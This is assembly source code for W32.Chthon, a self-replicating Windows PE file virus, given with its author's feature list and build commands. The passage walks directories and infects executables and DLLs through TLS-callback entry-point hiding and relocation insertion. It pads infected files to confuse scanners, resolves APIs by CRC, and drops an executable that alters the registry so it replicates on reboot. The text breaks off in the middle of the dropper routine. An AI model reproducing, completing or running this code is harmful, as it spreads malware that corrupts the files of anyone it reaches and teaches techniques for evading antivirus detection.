ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CHTHON.ASM]ÄÄÄ comment ;) W32.Chthon by roy g biv some of its features: - native executable - runs before GUI loads so also before any other files - parasitic direct action infector of PE exe/dll (but not looking at suffix) - infects files in current directory and all subdirectories - directory traversal is linked-list instead of recursive to reduce stack size - reloc section inserter/last section appender - weird EPO (TLS code used to drop file which contains replication code) - 100% Unicode function (because is for NT/2000/XP OS only) - uses CRCs instead of API names - uses SEH for common code exit - section attributes are not always altered (virus is not self-modifying) - no infect files with data outside of image (eg self-extractors) - infected files are padded by random amounts to confuse tail scanners - uses SEH walker to find kernel, uses import for ntdll (no hard-coded addresses) - correct file checksum without using imagehlp.dll :) 100% correct algorithm - plus some new code optimisations that were never seen before W32.Shrug :) combined W32.Shrug and W32.OU812 that infects host file using a new technique known bugs: - no SFC/SFP support. why? because it is not available to native files --- optimisation tip: Windows appends ".dll" automatically, so this works: push "cfs" push esp call LoadLibraryA --- to build this thing: tasm ---- tasm32 /ml /m3 chthon tlink32 /B:400000 /x chthon,,,import32 Virus is not self-modifying, so no need to alter section attributes --- We're in the middle of a phase transition: a butterfly flapping its wings at just the right moment could cause a storm to happen. -I'm trying to understand- I'm at a moment in my life- I don't know where to flap my wings. (Danny Hillis) (; .386 .model flat extern GetCurrentProcess:proc extern WriteProcessMemory:proc extern MessageBoxA:proc extern ExitProcess:proc .data ;must be reverse alphabetical order because they are stored on stack ;API names are not present in replications, only in dropper krnnames db "RtlSetCurrentDirectory_U" , 0 db "RtlRandom" , 0 db "RtlFreeHeap" , 0 db "RtlDosPathNameToNtPathName_U", 0 db "RtlAllocateHeap" , 0 db "NtUnmapViewOfSection" , 0 db "NtSetInformationFile" , 0 db "NtQueryDirectoryFile" , 0 db "NtOpenFile" , 0 db "NtMapViewOfSection" , 0 db "NtCreateSection" , 0 db "NtClose" , 0 exenames db "WriteFile" , 0 db "SetFileAttributesA" , 0 db "MoveFileA" , 0 db "LoadLibraryA" , 0 db "GlobalFree" , 0 db "GlobalAlloc" , 0 db "GetWindowsDirectoryA" , 0 db "GetTickCount" , 0 db "GetTempFileNameA" , 0 db "GetFileAttributesA" , 0 db "DeleteFileA" , 0 db "CreateFileA" , 0 db "CloseHandle" , 0 regnames db "RegSetValueExA", 0 db "RegOpenKeyA" , 0 db "RegCloseKey" , 0 sysname equ "chthon" ;must be < 8 bytes long else code change txttitle db sysname, 0 txtbody db "Please reboot to finish installing ;)", 0 include chthon.inc .code assume fs:nothing dropper label near mov edx, krncrc_count mov ebx, offset krnnames mov edi, offset krncrcbegin call create_crcs mov edx, execrc_count mov ebx, offset exenames mov edi, offset execrcbegin call create_crcs mov edx, regcrc_count mov ebx, offset regnames mov edi, offset regcrcbegin call create_crcs call patch_host xor ebx, ebx push ebx push offset txttitle push offset txtbody push ebx call MessageBoxA push ebx call ExitProcess create_crcs proc near imul ebp, edx, 4 create_loop label near or eax, -1 create_outer label near xor al, byte ptr [ebx] push 8 pop ecx create_inner label near add eax, eax jnb create_skip xor eax, 4c11db7h ;use generator polymonial (see IEEE 802) create_skip label near loop create_inner sub cl, byte ptr [ebx] ;carry set if not zero inc ebx ;carry not altered by inc jb create_outer push eax dec edx jne create_loop mov eax, esp push ecx push ebp push eax push edi call GetCurrentProcess push eax xchg esi, eax call WriteProcessMemory add esp, ebp ret create_crcs endp patch_host label near pop ecx push ecx call $ + 5 pop eax add eax, offset host_patch - offset $ + 1 sub ecx, eax push ecx mov eax, esp xor edi, edi push edi push 4 push eax push offset host_patch + 3 push esi call WriteProcessMemory push edi ;fake Reserved push edi ;fake Reason push edi ;fake DLLHandle push edi ;fake return address jmp chthon_tlscode ;----------------------------------------------------------------------------- ;everything before this point is dropper code ;----------------------------------------------------------------------------- ;----------------------------------------------------------------------------- ;virus code begins here ;----------------------------------------------------------------------------- chthon_begin proc near enter (size findlist - 5) and -4, 0 ;Windows NT/2000/XP enables alignment check exception ;so some APIs fail if buffer is not dword aligned ;-5 to align at 2 dwords earlier ;because EBP saved automatically ;and other register saved next push 0 ;zero findprev in findlist mov edi, dword ptr ds:[40102ch] ;understand this before you think to change it! call find_mzhdr ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- krncrcbegin label near ;place < 80h bytes from call for smaller code dd (krncrc_count + 1) dup (0) krncrcend label near dd offset get_heaphand - offset krncrcend + 4 db "Chthon - roy g biv" ;trust me - I'm a local tlsdata tlsstruc <0> ;----------------------------------------------------------------------------- ;moved label after some data because "e800000000" looks like virus code ;) ;----------------------------------------------------------------------------- find_mzhdr label near ;----------------------------------------------------------------------------- ;do not use hard-coded kernel address values because it is not portable ;Microsoft used all different values for 95, 98, NT, 2000, Me, XP ;they will maybe change again for every new release ;----------------------------------------------------------------------------- dec edi ;sub 64kb xor di, di ;64kb align call is_pehdr jne find_mzhdr mov ebx, edi pop edi ;----------------------------------------------------------------------------- ;parse export table ;----------------------------------------------------------------------------- mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff] lea esi, dword ptr [ebx + esi + peexp.expadrrva] lods dword ptr [esi] ;Export Address Table RVA lea edx, dword ptr [ebx + eax] lods dword ptr [esi] ;Name Pointer Table RVA lea ecx, dword ptr [ebx + eax] lods dword ptr [esi] ;Ordinal Table RVA lea ebp, dword ptr [ebx + eax] mov esi, ecx push_export label near push ecx get_export label near lods dword ptr [esi] push ebx add ebx, eax ;Name Pointer VA or eax, -1 crc_outer label near xor al, byte ptr [ebx] push 8 pop ecx crc_inner label near add eax, eax jnb crc_skip xor eax, 4c11db7h ;use generator polymonial (see IEEE 802) crc_skip label near loop crc_inner sub cl, byte ptr [ebx] ;carry set if not zero inc ebx ;carry not altered by inc jb crc_outer pop ebx cmp dword ptr [edi], eax jne get_export ;----------------------------------------------------------------------------- ;exports must be sorted alphabetically, otherwise GetProcAddress() would fail ;this allows to push addresses onto the stack, and the order is known ;----------------------------------------------------------------------------- pop ecx mov eax, esi sub eax, ecx ;Name Pointer Table VA shr eax, 1 movzx eax, word ptr [ebp + eax - 2] ;get export ordinal mov eax, dword ptr [eax * 4 + edx] ;get export RVA add eax, ebx push eax scas dword ptr [edi] cmp dword ptr [edi], 0 jne push_export add edi, dword ptr [edi + 4] jmp edi get_heaphand label near mov ebx, esp lea esi, dword ptr [ebx + size krncrcstk] mov eax, dword ptr fs:[tib.TibTeb] mov edi, dword ptr [eax + teb.heaphand] ;----------------------------------------------------------------------------- ;set initial scanning directory (Windows directory takes too long), but ;if initial directory is not existing, then Windows directory will be used ;----------------------------------------------------------------------------- call init_dire init_dirb label near dw "\", "p", "r", "o", "g", "r", "a", "m", " ", "f", "i", "l", "e", "s", 0 init_dire label near push offset init_dire - offset init_dirb push esp call dword ptr [ebx + krncrcstk.kRtlSetCurrentDirectory_U] pop eax pop eax ;----------------------------------------------------------------------------- ;non-recursive directory traverser ;----------------------------------------------------------------------------- scan_dir label near push '*' mov eax, esp lea ecx, dword ptr [esi + findlist.findmask] push ecx push eax lea ecx, dword ptr [esi + findlist.findname] push ecx push eax call dword ptr [ebx + krncrcstk.kRtlDosPathNameToNtPathName_U] pop eax xor ecx, ecx push ecx push ecx push ecx lea eax, dword ptr [esi + findlist.findname.UniLength] sub dword ptr [eax], 4 ;no count "\??\" push eax push ecx push size OBJECT_ATTRIBUTES mov eax, esp push FILE_DIRECTORY_FILE or FILE_SYNCHRONOUS_IO_NONALERT or FILE_OPEN_FOR_BACKUP_INTENT push FILE_SHARE_READ or FILE_SHARE_WRITE push esp push eax push FILE_LIST_DIRECTORY or SYNCHRONIZE lea eax, dword ptr [esi + findlist.findhand] push eax call dword ptr [ebx + krncrcstk.kNtOpenFile] add esp, size OBJECT_ATTRIBUTES test eax, eax jl find_prev lea ebp, dword ptr [esi + findlist.findmask] find_next label near push 0 push ebp push esp ;non-zero push FileBothDirectoryInformation push size FILE_DIRECTORY_INFORMATION lea eax, dword ptr [esi + findlist.finddata] push eax push esp xor ebp, ebp push ebp push ebp push ebp push dword ptr [esi + findlist.findhand] call dword ptr [ebx + krncrcstk.kNtQueryDirectoryFile] test eax, eax jl find_prev ;you must always step forward from where you stand mov ecx, dword ptr [esi + findlist.finddata.dirFileNameLength] lea eax, dword ptr [esi + findlist.finddata.dirFileName] mov dword ptr [eax + ecx], ebp test byte ptr [esi + findlist.finddata.dirFileAttributes], FILE_ATTRIBUTE_DIRECTORY je test_file cmp byte ptr [eax], '.' ;ignore . and .. (but also .* directories under NT/2000/XP) je find_next ;----------------------------------------------------------------------------- ;enter subdirectory, and allocate another list node ;----------------------------------------------------------------------------- push eax push ecx push esp call dword ptr [ebx + krncrcstk.kRtlSetCurrentDirectory_U] test eax, eax pop eax pop eax jl find_next push offset size findlist push ebp push edi call dword ptr [ebx + krncrcstk.kRtlAllocateHeap] xchg ecx, eax jecxz step_updir xchg esi, ecx mov dword ptr [esi], ecx jmp scan_dir org $ - 2 ;select top 16 bits of jump chthon_exit label near ;game over org $ + 2 ;----------------------------------------------------------------------------- ;close find, and free list node if not list head ;----------------------------------------------------------------------------- find_prev label near push dword ptr [esi + findlist.findhand] call dword ptr [ebx + krncrcstk.kNtClose] push dword ptr [esi + findlist.findname.Buffer] push ebp push edi call dword ptr [ebx + krncrcstk.kRtlFreeHeap] mov ecx, dword ptr [esi + findlist.findprev] jecxz chthon_exit push esi mov esi, ecx push ebp push edi call dword ptr [ebx + krncrcstk.kRtlFreeHeap] step_updir label near push ebp push '.' shl 10h + '.' push esp push 2 push esp call dword ptr [ebx + krncrcstk.kRtlSetCurrentDirectory_U] add esp, size UNICODE_STRING + 8 jmp find_next test_file label near push ebx push edi push eax push ecx mov eax, esp push ebp push ebp push ebp push eax push dword ptr [esi + findlist.findmask.RootDir] push size OBJECT_ATTRIBUTES mov ebx, esp push eax mov eax, esp push FILE_SYNCHRONOUS_IO_NONALERT or FILE_OPEN_FOR_BACKUP_INTENT push ebp push esp push ebx push FILE_WRITE_ATTRIBUTES or SYNCHRONIZE push eax call dword ptr [ebx + size openstk + krncrcstk.kNtOpenFile] pop ecx push ecx push ebp push FILE_ATTRIBUTE_ARCHIVE push ebp push ebp push ebp push ebp push ebp push ebp push ebp push ebp mov eax, esp push FileBasicInformation push size FILE_BASIC_INFORMATION push eax push esp push ecx call dword ptr [ebx + size openstk + krncrcstk.kNtSetInformationFile] add esp, size FILE_BASIC_INFORMATION call dword ptr [ebx + size openstk + krncrcstk.kNtClose] push eax mov eax, esp push FILE_SYNCHRONOUS_IO_NONALERT or FILE_OPEN_FOR_BACKUP_INTENT push ebp push esp push ebx push FILE_READ_DATA or FILE_WRITE_DATA or FILE_APPEND_DATA or FILE_WRITE_ATTRIBUTES or SYNCHRONIZE push eax call dword ptr [ebx + size openstk + krncrcstk.kNtOpenFile] call test_infect db 81h ;mask CALL call infect_file ;Super Nashwan power ;) ;----------------------------------------------------------------------------- ;file time and attributes can be set with single call to NtSetInformationFile ;----------------------------------------------------------------------------- close_file label near ;label required for delta offset pop ecx push ecx mov eax, dword ptr [esi + findlist.finddata.dirFileAttributes] mov dword ptr [esi + findlist.finddata.dirRealFileSize.dwordLow], eax push FileBasicInformation push size FILE_BASIC_INFORMATION lea eax, dword ptr [esi + findlist.finddata.dirCreationTime] push eax push esp push ecx call dword ptr [ebx + size openstk + krncrcstk.kNtSetInformationFile] call dword ptr [ebx + size openstk + krncrcstk.kNtClose] add esp, size OBJECT_ATTRIBUTES + size UNICODE_STRING pop edi pop ebx jmp find_next ;----------------------------------------------------------------------------- ;look for MZ and PE file signatures ;----------------------------------------------------------------------------- is_pehdr proc near ;edi -> map view cmp word ptr [edi], 'ZM' ;Windows does not check 'MZ' jne pehdr_ret mov esi, dword ptr [edi + mzhdr.mzlfanew] add esi, edi lods dword ptr [esi] ;SEH protects against bad lfanew value add eax, -'EP' ;anti-heuristic test filetype ;) and clear EAX pehdr_ret label near ret ;if PE file, then eax = 0, esi -> COFF header, Z flag set db "11/11/01" is_pehdr endp ;----------------------------------------------------------------------------- ;test if file is infectable (not protected, PE, x86, non-system, not infected, etc) ;----------------------------------------------------------------------------- test_infect proc near ;esi = find data, edi = map view call map_view mov ebp, esi call is_pehdr jne inftest_ret lods dword ptr [esi] cmp ax, IMAGE_FILE_MACHINE_I386 jne inftest_ret ;only Intel 386+ shr eax, 0dh ;move high 16 bits into low 16 bits and multiply by 8 lea edx, dword ptr [eax * 4 + eax] ;complete multiply by 28h (size pesect) mov ecx, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate] ;----------------------------------------------------------------------------- ;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them ;----------------------------------------------------------------------------- test ch, (IMAGE_FILE_SYSTEM or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8 jne inftest_ret add esi, pehdr.peentrypoint - pehdr.pecoff.petimedate ;----------------------------------------------------------------------------- ;if file is a .dll, then we require an entry point function ;----------------------------------------------------------------------------- lods dword ptr [esi] xchg ecx, eax test ah, IMAGE_FILE_DLL shr 8 je test_system jecxz inftest_ret ;----------------------------------------------------------------------------- ;32-bit executable file... ;----------------------------------------------------------------------------- test_system label near and ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE jne inftest_ret ;cannot use xor+jpo because 0 is also jpe ;----------------------------------------------------------------------------- ;the COFF magic value is not checked because Windows ignores it anyway ;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+ ;----------------------------------------------------------------------------- mov eax, dword ptr [esi + pehdr.pesubsys - pehdr.pecodebase] cmp ax, IMAGE_SUBSYSTEM_WINDOWS_CUI jnbe inftest_ret cmp al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0 jb inftest_ret shr eax, 1eh ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h jb inftest_ret ;----------------------------------------------------------------------------- ;avoid files which seem to contain attribute certificates ;because one of those certificates might be a digital signature ;----------------------------------------------------------------------------- cmp dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pecodebase], 0 jne inftest_ret ;----------------------------------------------------------------------------- ;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size ;the Optional Header can be larger than the offset of the last directory ;remember: even if you have not seen it does not mean that it does not happen :) ;----------------------------------------------------------------------------- movzx eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pecodebase] add eax, edx lea esi, dword ptr [esi + eax - pehdr.pecodebase + pehdr.pemagic - size pesect + pesect.sectrawsize] lods dword ptr [esi] add eax, dword ptr [esi] cmp dword ptr [ebp + findlist.finddata.dirRealFileSize], eax jne inftest_ret ;file contains appended data inc dword ptr [esp + mapsehstk.mapsehinfret] ;skip call mask inftest_ret label near int 3 ;----------------------------------------------------------------------------- ;increase file size by random value (between RANDPADMIN and RANDPADMAX bytes) ;I use RtlRandom() instead of RDTSC because RDTSC can be made privileged ;----------------------------------------------------------------------------- open_append proc near push esi push esp call dword ptr [ebx + size openstk + krncrcstk.kRtlRandom] pop ecx and eax, RANDPADMAX - 1 add ax, small (offset chthon_codeend - offset chthon_begin + RANDPADMIN) add dword ptr [esi + findlist.finddata.dirRealFileSize], eax ;----------------------------------------------------------------------------- ;create file map, and map view if successful ;----------------------------------------------------------------------------- map_view proc near ;ebx -> APIs, esi -> findlist, ebp = 0 mov eax, dword ptr [esi + findlist.finddata.dirRealFileSize] push eax push dword ptr [esi + findlist.finddata.dirRealFileSize.dwordHigh] push eax mov eax, esp push ebp mov ecx, esp push PAGE_READWRITE ;NtMapViewOfSection push ebp ;NtMapViewOfSection push 1 ;NtMapViewOfSection push eax ;NtMapViewOfSection lea edx, dword ptr [esp - 0ch] push edx ;NtMapViewOfSection push ebp ;NtMapViewOfSection push ebp ;NtMapViewOfSection push ecx ;NtMapViewOfSection push -1 ;NtMapViewOfSection push eax ;NtMapViewOfSection push dword ptr [ebx - 4] push 08000000h push PAGE_READWRITE push eax push ebp push STANDARD_RIGHTS_REQUIRED or SECTION_QUERY or SECTION_MAP_WRITE or SECTION_MAP_READ lea ecx, dword ptr [edx - 0ch] push ecx call dword ptr [ebx + size openstk + krncrcstk.kNtCreateSection] pop edi push edi call dword ptr [ebx + size openstk + krncrcstk.kNtMapViewOfSection] pop eax pop ecx pop ecx pop ecx xchg edi, eax ;should succeed even if file cannot be opened pushad call unmap_seh mov esp, dword ptr [esp + 8] xor eax, eax pop dword ptr fs:[eax] pop eax popad ;SEH destroys all registers push eax push edi push -1 call dword ptr [ebx + size openstk + krncrcstk.kNtUnmapViewOfSection] call dword ptr [ebx + size openstk + krncrcstk.kNtClose] pop eax ret unmap_seh proc near cdq push dword ptr fs:[edx] mov dword ptr fs:[edx], esp jmp dword ptr [esp + 28h] unmap_seh endp map_view endp ;eax = map handle, ecx = new file size, edi = map view open_append endp ;----------------------------------------------------------------------------- ;infect file using a selection of styles for variety, using two parts ;algorithm: increase file size by random amount (RANDPADMIN-RANDPADMAX ; bytes) to confuse scanners that look at end of file (also ; infection marker) ; if reloc table is not in last section (taken from relocation ; field in PE header, not section name), then append to last ; section. otherwise, move relocs down and insert code into ; space (to confuse people looking at end of file. they will ; see only relocation data and garbage or many zeroes) ;DLL infection: entry point is altered to point to some code. very simple ;EXE infection: Entry Point Obscured via TLS callback function ; if no TLS directory exists, then one will be created, with a ; single callback function that points to this code ; if a TLS directory exists, but no callback functions exist, ; then a function pointer will be created that points to this ; code ; else if a TLS directory and callback functions exist, then the ; first function pointer will be altered to point to this code ; however, that code just drops exe, alters registry and returns ; exe contains virus code which replicates on reboot ;----------------------------------------------------------------------------- infect_file label near ;esi -> findlist, edi = map view call open_append delta_label label near push ecx push edi mov ebx, dword ptr [edi + mzhdr.mzlfanew] lea ebx, dword ptr [ebx + edi + pehdr.pechksum] movzx eax, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum] imul eax, eax, size pesect movzx ecx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum] add eax, ecx lea esi, dword ptr [ebx + eax + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize] lods dword ptr [esi] mov cx, offset chthon_codeend - offset chthon_begin mov edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum] push eax add eax, ecx dec edx add eax, edx not edx and eax, edx ;file align last section mov dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax ;----------------------------------------------------------------------------- ;raw size is file aligned. virtual size is not required to be section aligned ;so if old virtual size is larger than new raw size, then size of image does ;not need to be updated, else virtual size must be large enough to cover the ;new code, and size of image is section aligned ;----------------------------------------------------------------------------- mov ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr] cmp dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax jnb test_reloff mov dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax add eax, ebp mov edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum] dec edx add eax, edx not edx and eax, edx mov dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax ;----------------------------------------------------------------------------- ;if relocation table is not in last section, then append to last section ;otherwise, move relocations down and insert code into space ;----------------------------------------------------------------------------- test_reloff label near test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED jne copy_code cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp jb copy_code mov eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr] add eax, ebp cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax jnb copy_code add dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx pop eax push esi add edi, dword ptr [esi] lea esi, dword ptr [edi + eax - 1] lea edi, dword ptr [esi + ecx] xchg ecx, eax std rep movs byte ptr [edi], byte ptr [esi] cld pop esi pop edi push edi push ecx xchg ecx, eax copy_code label near pop edx add ebp, edx xchg ebp, eax add edx, dword ptr [esi] add edi, edx push esi push edi mov esi, offset chthon_begin - offset delta_label add esi, dword ptr [esp + infectstk.infseh.mapsehinfret] ;delta offset rep movs byte ptr [edi], byte ptr [esi] pop edi pop esi ;----------------------------------------------------------------------------- ;always alter entry point of dlls ;----------------------------------------------------------------------------- test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum + 1], IMAGE_FILE_DLL shr 8 je test_tlsdir lea edx, dword ptr [ebx + pehdr.peentrypoint - pehdr.pechksum] alter_func label near add eax, offset chthon_tlscode - offset chthon_begin xchg dword ptr [edx], eax sub eax, offset host_patch - offset chthon_tlscode sub eax, dword ptr [edx] mov dword ptr [edi + offset host_patch - offset chthon_begin + 3], eax jmp checksum_file ;----------------------------------------------------------------------------- ;if tls directory exists... ;----------------------------------------------------------------------------- test_tlsdir label near mov ecx, dword ptr [ebx + pehdr.petls.dirrva - pehdr.pechksum] jecxz add_tlsdir ;size field is never checked call rva2raw pop edx push edx add eax, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum] push eax lea eax, dword ptr [edx + ecx + tlsstruc.tlsfuncptr] mov ecx, dword ptr [eax] jecxz store_func sub ecx, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum] call rva2raw add edx, ecx ;do not combine mov ecx, dword ptr [edx] ;current edx used by alter_func ;it is impossible if it passes unattempted store_func label near test ecx, ecx pop ecx xchg ecx, eax jne alter_func add eax, offset tlsdata.tlsfunc - offset chthon_begin mov dword ptr [ecx], eax add edi, offset tlsdata.tlsfiller - offset chthon_begin jmp set_funcptr ;----------------------------------------------------------------------------- ;the only time that the section attributes are altered is when a TLS directory ;is created. at that time, a writable dword must be available for the index. ;the alternative is to search for a writable section with virtual size > raw ;size, set index pointer to that address and reinitialise it to zero in code ;----------------------------------------------------------------------------- add_tlsdir label near or byte ptr [esi + pesect.sectflags - pesect.sectrawaddr + 3], IMAGE_SCN_MEM_WRITE shr 18h add eax, offset tlsdata - offset chthon_begin mov dword ptr [ebx + pehdr.petls.dirrva - pehdr.pechksum], eax add eax, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum] add eax, offset tlsdata.tlsflags - offset tlsdata add edi, offset tlsdata.tlsindex - offset chthon_begin stos dword ptr [edi] add eax, offset tlsdata.tlsfunc - offset tlsdata.tlsflags stos dword ptr [edi] set_funcptr label near scas dword ptr [edi] scas dword ptr [edi] add eax, offset chthon_dllcode - offset tlsdata.tlsfunc stos dword ptr [edi] checksum_file label near pop edi ;----------------------------------------------------------------------------- ;CheckSumMappedFile() - simply sum of all words in file, then adc filesize ;----------------------------------------------------------------------------- xor ecx, ecx xchg dword ptr [ebx], ecx jecxz infect_ret xor eax, eax pop ecx push ecx inc ecx shr ecx, 1 clc calc_checksum label near adc ax, word ptr [edi] inc edi inc edi loop calc_checksum pop dword ptr [ebx] adc dword ptr [ebx], eax ;avoid common bug. ADC not ADD infect_ret label near int 3 ;common exit using SEH db "*4U2NV*" ;that is, unless you're reading this test_infect endp ;----------------------------------------------------------------------------- ;convert relative virtual address to raw file offset ;----------------------------------------------------------------------------- rvaloop label near sub esi, size pesect cmp al, 'R' ;mask PUSH ESI org $ - 1 rva2raw proc near ;ecx = RVA, esi -> last section header push esi cmp dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr], ecx jnbe rvaloop sub ecx, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr] add ecx, dword ptr [esi] pop esi ret rva2raw endp ;When last comes to last, ; I have little power: ; I am merely an urn. ;I hold the bone-sap of myself, ; And watch the marrow burn. ; ;When last comes to last, ; I have little strength: ; I am only a tool. ;I work its work; and in its hands ; I am the fool. ; ;When last comes to last, ; I have little life. ; I am simply a deed: ;an action done while courage holds: ; A seed. ;(Stephen Donaldson) ;----------------------------------------------------------------------------- ;virus code begins here in dlls (always) and exes (existing TLS callback pointer) ;----------------------------------------------------------------------------- chthon_tlscode proc near mov eax, dword ptr [esp + initstk.initReason] push eax ;fake Reserved push eax ;real Reason push eax ;fake DLLHandle call host_patch ;real return address host_patch label near add dword ptr [esp], '!bgr' ;----------------------------------------------------------------------------- ;virus code begins here in exes (created TLS directory / callback pointer) ;----------------------------------------------------------------------------- chthon_dllcode proc near ;stack = DllHandle, Reason, Reserved test byte ptr [esp + initstk.initReason], DLL_PROCESS_ATTACH or DLL_THREAD_ATTACH jne chthon_dllret ;kernel32 not in SEH chain on ATTACH messages pushad xor esi, esi lods dword ptr fs:[esi] inc eax walk_seh label near dec eax xchg esi, eax lods dword ptr [esi] inc eax jne walk_seh mov edi, dword ptr [esi] call find_mzhdr ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- execrcbegin label near ;place < 80h bytes from call for smaller code dd (execrc_count + 1) dup (0) execrcend label near dd offset drop_sys - offset execrcend + 4 chthon_dllret label near ret 0ch syslabel label near db sysname, ".exe" db 0ch - (offset $ - offset syslabel) dup (0) syssize equ 94h ;RLE-based compressed MZ header, PE header, section table, import table dd 11111111110000011100001011100000b ; mmmmmmmmmmz 01mmz 02mmm db 'M', 'Z', "ntdll.dll", 'P', 'E', 4ch, 1, 1 dd 00000110000111100001001010010000b ; z 01mz 03mmz 02r 04m db 2, 2ch, 10h, 40h dd 00000111110100100001001000111110b ; z 01mmmmr 02z 04mz 07mm db 0fh, 3, 0bh, 1, 56h, syssize, 10h dd 00001001010010001011000010100001b ; z 02r 04mz 05mz 02mz 02 db 0ch, 40h, 10h dd 00000110000100110001000011111000b ; z 01mz 02r 08mz 03mmm db 2, 4, "pow" dd 00001010000101000111100001110001b ; z 02mz 02mz 07mz 03mz 04 db ((offset chthon_codeend - offset chthon_begin + syssize + 1fffh) and not 0fffh) shr 8, syssize, 1, 1 dd 10000111000010100001101010010010b ; mz 03mz 02mz 03r 04mz 08 db 10h, ((offset chthon_codeend - offset chthon_begin + syssize + 1ffh) and not 1ffh) shr 8, 1, 2 dd 00001011100011000000000000000000b ; z 02mmmz 06 db 60h, 8, 10h dd 0 ;decompressed data follow. 'X' bytes are set to random value every time ; db 'M', 'Z' ;00 ; db "ntdll.dll", 0 ;02 align 4, filler (overload for dll name and import lookup table RVA) ; db 'P', 'E', 0, 0 ;0c 00 signature (overload for date/time stamp) ; dw 14ch ;10 04 machine (overload for forwarder chain) ; dw 1 ;12 06 number of sections (overload for forwarder chain) ; dd 2 ;14 08 date/time stamp (overload for dll name RVA) ; dd 102ch ;18 0c pointer to symbol table (overload for import address table RVA) ; db X, X, X, X ;1c 10 number of symbols ; dw 40h ;20 14 size of optional header ; dw 30fh ;22 16 characteristics ; dw 10bh ;24 18 magic ; db X ;26 1a major linker ; db X ;27 1b minor linker ; dd 0 ;28 1c size of code (overload for import table terminator) ; dd 56h ;2c 20 size of init data (overload for import name table RVA) ; dd 0 ;30 24 size of uninit data (overload for import name table terminator) ; dd syssize + 1000h ;34 28 entry point ; db X, X, X, X ;38 2c base of code ; dd 0ch ;3c 30 base of data (overload for lfanew) ; dd 400000h ;40 34 image base ; dd 1000h ;44 38 section align ; dd 200h ;48 3c file align ; db X, X ;4c 40 major os ; db X, X ;4e 42 minor os ; db X, X ;50 44 major image ; db X, X ;52 46 minor image ; dw 4 ;54 48 major subsys ; dw 0 ;56 4a minor subsys (overload for import name table) ; db "pow", 0 ;58 4c reserved (overload for import name table) ; dd (aligned size of code) ;5c 50 size of image ; dd syssize ;60 54 size of headers ; dd 0 ;64 58 checksum (overload for section name) ; dw 1 ;68 5c subsystem (overload for section name) ; dw 0 ;6a 5e dll characteristics (overload for section name) ; dd 1 ;6c 60 size of stack reserve (overload for virtual size) ; dd 1000h ;70 64 size of stack commit (overload for virtual address) ; dd (aligned size of code) ;74 68 size of heap reserve (overload for file size) ; dd 1 ;78 6c size of heap commit (overload for file offset) ; db X, X, X, X ;7c 70 loader flags (overload for pointer to relocs) ; dd 2 ;80 74 number of rva and sizes (overload for pointer to line numbers) ; dd 0 ;84 78 export (overload for reloc table and line numbers) ; dd 60000000h ;88 7c export (overload for section characteristics) ; dd 1008h ;8c 80 import ; dd 0 ;90 84 import ; ;94 drop_sys label near mov ebx, esp lea esi, dword ptr [edi + offset syslabel - offset drop_sys] mov edi, offset chthon_codeend - offset chthon_begin + syssize + 1ffh push edi xor ebp, ebp ;GMEM_FIXED push ebp call dword ptr [ebx + execrcstk.eGlobalAlloc] push eax ;GlobalFree push ebp ;WriteFile push esp ;WriteFile push edi ;WriteFile push eax ;WriteFile push ebp ;CreateFileA push ebp ;CreateFileA push CREATE_ALWAYS ;CreateFileA push ebp ;CreateFileA push ebp ;CreateFileA push GENERIC_WRITE ;CreateFileA push eax ;CreateFileA lea ecx, dword ptr [eax + 7fh] push ecx ;MoveFileA push eax ;MoveFileA push eax ;GetFileAttributesA push ebp ;SetFileAttributesA push eax ;SetFileAttributesA push ecx ;DeleteFileA push ecx ;GetTempFileNameA push ebp ;GetTempFileNameA push esp ;GetTempFileNameA push eax ;GetTempFileNameA push edi ;GetWindowsDirectoryA push eax ;GetWindowsDirectoryA xchg ebp, eax call dword ptr [ebx + execrcstk.eGetWindowsDirectoryA] lea edi, dword ptr [ebp + eax - 1] call dword ptr [ebx + execrcstk.eGetTempFileNameA] call dword ptr [ebx + execrcstk.eDeleteFileA] mov al, '\' scas byte ptr [edi] je skip_slash stos byte ptr [edi] ;----------------------------------------------------------------------------- ;append sys name, assumes name is 0ch bytes long 